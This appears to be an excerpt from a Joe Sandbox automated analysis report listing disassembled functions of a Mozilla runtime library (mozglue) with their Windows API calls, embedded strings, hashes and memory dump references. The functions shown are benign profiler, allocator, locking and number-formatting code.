Opcode ID: 2947d7486878cc69c5fbc25b615bfa38b1cf8d4833a3d6e40ec31de8b5b6a649
Instruction ID: 63d501401ef14b95a12d91cb0f78fec87c48bd87705412b38205e00a5e907d38
Opcode Fuzzy Hash: 2947d7486878cc69c5fbc25b615bfa38b1cf8d4833a3d6e40ec31de8b5b6a649
Instruction Fuzzy Hash: 3D336C716057018FD308CF29C990615BBE2BF89368F29C7ADE9698F7A6D731E841CB41

Function 6C614820 Relevance: 18.2, APIs: 1, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

data, xrefs: 6C6149B4
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C614CAF
ProfileBuffer parse error: %s, xrefs: 6C614DD9
-%llu, xrefs: 6C614825
dl, xrefs: 6C614F88
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6C614D65
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6C614DB8, 6C614DD8
schema, xrefs: 6C6148C1
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6C614D0A

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: free
String ID: dl$-%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-3576033582
Opcode ID: a45c4c42e724508a66c49357d581177c3a605bd622057b3e4faaeb4c1e34f1e5
Instruction ID: da1f9dd386f22f9c3f7b82ac01048a333da462e9f7a95f99dc8d0946e71fc313
Opcode Fuzzy Hash: a45c4c42e724508a66c49357d581177c3a605bd622057b3e4faaeb4c1e34f1e5
Instruction Fuzzy Hash: 50721C71918B858BD362CF38C4513ABF7F5AFDA344F108B1DE5896B610EB70A486CB46

Function 6C5ED4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C64E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C5FD1C5), ref: 6C5ED4F2
LeaveCriticalSection.KERNEL32(6C64E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C5FD1C5), ref: 6C5ED50B

Part of subcall function 6C5CCFE0: EnterCriticalSection.KERNEL32(6C64E784), ref: 6C5CCFF6
Part of subcall function 6C5CCFE0: LeaveCriticalSection.KERNEL32(6C64E784), ref: 6C5CD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C5FD1C5), ref: 6C5ED52E
EnterCriticalSection.KERNEL32(6C64E7DC), ref: 6C5ED690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5ED6A6
LeaveCriticalSection.KERNEL32(6C64E7DC), ref: 6C5ED712
LeaveCriticalSection.KERNEL32(6C64E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C5FD1C5), ref: 6C5ED751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5ED7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C5ED82C
<jemalloc>, xrefs: 6C5ED827

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: f585fdd7a503a94a5115572a92b7f4c4189ea8e8a2cecf3498b5c2e13ed2e34f
Instruction ID: bc35e40dba5c69a2e18889a69b92f486e11a6336a6dd67d67e250f73c367ca0d
Opcode Fuzzy Hash: f585fdd7a503a94a5115572a92b7f4c4189ea8e8a2cecf3498b5c2e13ed2e34f
Instruction Fuzzy Hash: 6691A371A047018FD714DF29C89076AB7E2EBC9318F15C92EE59AC7A81D730E845CB86

Function 6C624EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C624EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C624F2E
moz_xmalloc.MOZGLUE ref: 6C624F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C624F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6252B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6252E6
Sleep.KERNEL32(00000010), ref: 6C625481
free.MOZGLUE(?), ref: 6C625498

Strings

(, xrefs: 6C625250

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: f06e72f119bf78f6c265325d299cada9a18929326a7479db209f09b47ab699d7
Instruction ID: e0d15053732688a997b254a410e4ae68631333b67bfd511e3ffa6a5bbb491f25
Opcode Fuzzy Hash: f06e72f119bf78f6c265325d299cada9a18929326a7479db209f09b47ab699d7
Instruction Fuzzy Hash: DFF1B171A18B408FC716DF39C89062BB7F5AFD6384F05C72EF84AA7651DB3198428B85

Function 6C627030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C627046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C627060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C62707E

Part of subcall function 6C5D81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5D81DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C627096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C62709C
LocalFree.KERNEL32(?), ref: 6C6270AA

Strings

### ERROR: %s: %s, xrefs: 6C627087
(null), xrefs: 6C62706A, 6C627083

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 2113c284e8fe64136f365e8f7a204275ceca96716c56a895857b3d245cac2dea
Instruction ID: 74113441dc8b36a99dc5b6f94779bb51b282216e3c98d3244e4a2fc742c41371
Opcode Fuzzy Hash: 2113c284e8fe64136f365e8f7a204275ceca96716c56a895857b3d245cac2dea
Instruction Fuzzy Hash: 9C01F9B1A00104AFDB00BFA5DC4ADAF7BBCEF89259F018425FA05A3241D67169188BA9

Function 6C5E9E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5E9EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C5E9F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5E9F34
LeaveCriticalSection.KERNEL32(?), ref: 6C5EA823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5EA83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5EA849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5EA8B1, 6C5EA8D4, 6C5EA8EF

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: f0d4fd467ba227a40f93ea2c0906b2bebe933cf27ac21a239fa50ef557e54041
Instruction ID: 2571e85fbb35e72c04452f6da452d208cbdd8e737d1d43edb2f1d2a01b9454b5
Opcode Fuzzy Hash: f0d4fd467ba227a40f93ea2c0906b2bebe933cf27ac21a239fa50ef557e54041
Instruction Fuzzy Hash: 0B726A72A056118FD718CF29C940615FFF1BF89328F29C6ADE8699B791D335E842CB80

Function 6C612C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C612C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C612C61

Part of subcall function 6C5C4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5C4E5A
Part of subcall function 6C5C4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C5C4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C612C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C612E2D

Part of subcall function 6C5D81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5D81DE

Strings

expected a Time entry, xrefs: 6C612E36
ProfileBuffer parse error: %s, xrefs: 6C612E3B
(root), xrefs: 6C61354F

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 7e2c683ac84060e410ac967c37e22c7346d5a6e405e6c22712da82db19b200dd
Instruction ID: ef2dcc30d764560abbf90830df5afec3147ae580a629a40c88572276322aab08
Opcode Fuzzy Hash: 7e2c683ac84060e410ac967c37e22c7346d5a6e405e6c22712da82db19b200dd
Instruction Fuzzy Hash: 0191A0B060C7418FD724DF28C48469EB7E1AFCA358F50892DE59A8BB50DB30D949CB5A

Function 6C629E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C629F3D
__aulldiv.LIBCMT ref: 6C629F77
__aullrem.LIBCMT ref: 6C629F8C
__aulldiv.LIBCMT ref: 6C62A023

Strings

-Infinity, xrefs: 6C629E60, 6C629E7B
NaN, xrefs: 6C629EAB

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 858b7335669777fbcddb25a8431ccfd8ac8cf1ed17db213ee85d151683458ff8
Instruction ID: a6b6ccc1b9b5c11cf5d9d8c0b4c60bcc8cf5f6948b88949e5dd166c71c2ac321
Opcode Fuzzy Hash: 858b7335669777fbcddb25a8431ccfd8ac8cf1ed17db213ee85d151683458ff8
Instruction Fuzzy Hash: 37C1BD71E00319CBDB14CFA8C894BEEB7B6AB84318F144529D405ABB81D7B8AD49CF95

Function 6C5CD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

9, xrefs: 6C5CDE7F
@, xrefs: 6C5CDAF6
8, xrefs: 6C5CDC08
0, xrefs: 6C5CDC7F
0, xrefs: 6C5CD852
-, xrefs: 6C5CD7DD
, xrefs: 6C5CDA88
1, xrefs: 6C5CDBDD

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: e87498201f0b0d893954415be5dd9bc969621e6cfeda3e83f4ef611707e00ec6
Instruction ID: adc9b12200336557db5a61545e90a91351b0bd6fb09d3cfb7affbf44b336df61
Opcode Fuzzy Hash: e87498201f0b0d893954415be5dd9bc969621e6cfeda3e83f4ef611707e00ec6
Instruction Fuzzy Hash: 1362BD7578C3458FD701CE99C8D076ABBF2AF86358F184A0DE8D58BA91D3359885CB83

Function 6C63545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C638A4B

Strings

~q\l, xrefs: 6C635740, 6C6356C7, 6C63921F, 6C639459, 6C639269, 6C635703, 6C63948F

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: memset
String ID: ~q\l
API String ID: 2221118986-2912761343
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 23e043e57dc217da980821c20eb9e39ac25a4ca704f9ada4a9d1895217c2ff4a
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: C3B1D572A0422A8FDB14CE68CC907D9B7B2EF85314F1822AAC54DDB791D730A985CB94

Function 6C63542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6388F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C63925C

Strings

~q\l, xrefs: 6C635740, 6C6356C7, 6C63921F, 6C639459, 6C639269, 6C635703, 6C63948F

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: memset
String ID: ~q\l
API String ID: 2221118986-2912761343
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 0a84fddbd78b354d0c553af492b182b6f2fc5916700281fe00f5931bf5ec5a11
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 2BB1D672E0421ACFDB14CF58CC816EDB7B2EF85314F14126AC949EB795D730A989CB94

Function 6C62C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C62C0E9), ref: 6C62C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C62C437
FreeLibrary.KERNEL32(?,6C62C0E9), ref: 6C62C44C

Strings

ntdll.dll, xrefs: 6C62C413
NtQueryVirtualMemory, xrefs: 6C62C431

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 85d762d0bd75512e751db3025ae304935c40ec91e39cdca2b0fdbe2335388998
Instruction ID: 44ca26d44f00dcbc182d4a83ddd1486ba018090b1929048988630f2cf9a13dff
Opcode Fuzzy Hash: 85d762d0bd75512e751db3025ae304935c40ec91e39cdca2b0fdbe2335388998
Instruction Fuzzy Hash: A9E09270705701AFEB007FB7CD88B167AF8AB8638CF00E116AA0599651EBB4C0028A5E

Function 6C5D9F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

0, xrefs: 6C5DA100
0, xrefs: 6C5DAB22
9, xrefs: 6C5DA5D6
' , xrefs: 6C5DA3D8
1, xrefs: 6C5DA824
@, xrefs: 6C5DA625

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 276bb673e1777bea0922579931f4475efc186bc645282aa9115b421dd8e8acdf
Instruction ID: abb0f76616dd11682519687dfac99da0e415b333cd86b6fd51baa5363710df4f
Opcode Fuzzy Hash: 276bb673e1777bea0922579931f4475efc186bc645282aa9115b421dd8e8acdf
Instruction Fuzzy Hash: 4D82D1319093518BD711CF1DC89036FB7F2EB85718F578A2AE8D547A90D334B886CB8A

Function 6C5CBEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5CC1CB
__aulldiv.LIBCMT ref: 6C5CC24C
__aulldiv.LIBCMT ref: 6C5CC348
__aullrem.LIBCMT ref: 6C5CC365
__aulldiv.LIBCMT ref: 6C5CC37D

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: ea6ae62909d3425e6ea4dea8262ff3b59d98889c543917d1d194f0f21c1b5e35
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: B7322532B046118FC718DE6CC890A5ABBE6AFC9310F09867DE895DB395D734ED05CB91

Function 6C6177A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C617A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C617A93

Part of subcall function 6C5E5C50: GetTickCount64.KERNEL32 ref: 6C5E5D40
Part of subcall function 6C5E5C50: EnterCriticalSection.KERNEL32(6C64F688), ref: 6C5E5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C617AA1

Part of subcall function 6C5E5C50: __aulldiv.LIBCMT ref: 6C5E5DB4
Part of subcall function 6C5E5C50: LeaveCriticalSection.KERNEL32(6C64F688), ref: 6C5E5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C617B31

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: e0fb95189cf7cf49e3d881ecc422e7cc560d1eabb2593e8e5b9e1e93c2ef6b60
Instruction ID: e8ba91beee73b61f736cb9f8b65d4fe4f1c70e2cfa747bfd171cb601ea70777f
Opcode Fuzzy Hash: e0fb95189cf7cf49e3d881ecc422e7cc560d1eabb2593e8e5b9e1e93c2ef6b60
Instruction Fuzzy Hash: 77B1923560C3808BCB14CF29C45069FB7E2BFC5319F154A1CE99667B91DB70E90ACB8A

Function 6C5E8850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6C5E97EA
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5E9813, 6C5E985D, 6C5E9878, 6C5E9CEB

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: d5e9a7a9c58cb8f7e1f5f52904dcfd1b1999a1e6761b7d9565f1ab4fda0856a0
Instruction ID: 996ff981168c4101b205aa6378f7d1f780afd9440399e27435e1f334c959632e
Opcode Fuzzy Hash: d5e9a7a9c58cb8f7e1f5f52904dcfd1b1999a1e6761b7d9565f1ab4fda0856a0
Instruction Fuzzy Hash: CAD29E71A057018FC718CF19C990755BBE2BF89324F29C7ADE86A8B7A5D731E841CB81

Function 6C606CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C606D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C606E1E

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

